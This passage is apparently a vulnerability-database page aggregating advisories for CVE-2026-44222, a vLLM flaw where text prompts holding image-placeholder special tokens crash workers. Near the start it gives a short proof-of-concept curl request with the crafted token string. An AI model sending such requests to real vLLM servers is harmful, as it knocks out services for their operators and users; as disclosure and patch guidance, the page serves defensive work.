data)\n```bash\ncat \u003e request.json \u003c\u003c\u0027JSON\u0027\n{\n  \"model\": \"Qwen/Qwen2.5-VL-3B-Instruct\",\n  \"messages\": [\n    {\n      \"role\": \"user\",\n      \"content\": [\n        { \"type\": \"text\",\n          \"text\": \"what\u0027s in picture \u003c|vision_start|\u003e\u003c|image_pad|\u003e\u003c|vision_end|\u003e\" }\n      ]\n    }\n  ]\n}\nJSON\n\ncurl -s http://127.0.0.1:8000/v1/chat/completions \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  --data @request.json\n```\n\n### Observed result\n- HTTP 500; logs show IndexError: list index out of range from _vl_get_input_positions_tensor(...).\n- In some deployments, the worker exits and capacity remains reduced until manual restart.\n\n## Impact\n- Type: Token Injection leading to Remote Denial of Service (unauthenticated). A single request can trigger the fault.\n- Scope: Any vLLM deployment that serves VLMs and accepts raw user text via OpenAI-compatible endpoints (self-hosted or proxied/managed fronts).\n- Effect: Request \u2192 unhandled exception in position computation \u2192 worker termination / service unavailability.\n\n## Fixes\n\n* Changes associated with https://github.com/vllm-project/vllm/issues/32656\n\n## Credits\nPengyu Ding (Infra Security, Ant Group)  \nZiteng Xu (Infra Security, Ant Group)",
  "id": "PYSEC-2026-3409",
  "modified": "2026-07-13T16:07:26.276917Z",
  "published": "2026-07-13T15:15:38.697452Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vllm-project/vllm/security/advisories/GHSA-hpv8-x276-m59f"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44222"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vllm-project/vllm/issues/32656"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vllm-project/vllm"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/vllm"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-hpv8-x276-m59f"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "vLLM Vulnerable to Remote DoS via Special-Token Placeholders"
}

RHSA-2026:60363

Vulnerability from csaf_redhat - Published: 2026-08-26 16:25 - Updated: 2026-09-06 04:18

Summary

Red Hat Security Advisory: Red Hat AI Inference Server 3.3.6 (Spyre)

Severity

Important

Scope

5 vulnerabilities in this advisory, including CVE-2026-44222.

CVE-2026-44222

A flaw was found in vLLM, an inference and serving engine for large language models (LLMs). This vulnerability allows unauthenticated attackers to cause a Denial of Service (DoS) by supplying image or video placeholder sequences without matching data, leading to an unhandled error and worker termination. Additionally, text-only prompts containing special tokens can be misinterpreted as control commands, potentially leading to unexpected behavior.

7.5 (High)


                
                  CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Fixed: 3 products

https://access.redhat.com/errata/RHSA-2026:60363

Open the full advisory

RHSA-2026:61627

Vulnerability from csaf_redhat - Published: 2026-08-31 13:38 - Updated: 2026-09-17 18:41

Summary

Red Hat Security Advisory: Red Hat AI Inference Server 3.2.2 (CUDA)

Severity

Important

Scope

32 vulnerabilities in this advisory, including CVE-2026-44222.

CVE-2026-44222

7.5 (High)


                
                  CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Fixed: 2 products

https://access.redhat.com/errata/RHSA-2026:61627

Open the full advisory

RHSA-2026:61629

Vulnerability from csaf_redhat - Published: 2026-08-31 13:42 - Updated: 2026-09-17 18:41

Summary

Red Hat Security Advisory: Red Hat AI Inference Server 3.2.2 (ROCm)

Severity

Important

Scope

26 vulnerabilities in this advisory, including CVE-2026-44222.

CVE-2026-44222

7.5 (High)


                
                  CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Fixed: 1 product

https://access.redhat.com/errata/RHSA-2026:61629

Open the full advisory

WID-SEC-W-2026-1364

Vulnerability from csaf_certbund - Published: 2026-05-05 22:00 - Updated: 2026-05-12 22:00

Summary

vllm: Schwachstelle ermöglicht Denial of Service

Severity

Mittel

Scope

1 vulnerability in this advisory, including CVE-2026-44222.

CVE-2026-44222

Known affected: 1 product

Open the full advisory

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-44222 (GCVE-0-2026-44222)

FKIE_CVE-2026-44222

GHSA-HPV8-X276-M59F

Summary

Details

PoC

Environment

Request (text-only, no image/video data)

Observed result

Impact

Fixes

Credits

PYSEC-2026-3409

Summary

Details

PoC

Environment

Request (text-only, no image/video data)

Observed result

Impact

Fixes

Credits

RHSA-2026:60363

RHSA-2026:61627

RHSA-2026:61629

WID-SEC-W-2026-1364

Tags

Sightings

Nomenclature

Related by attack behaviour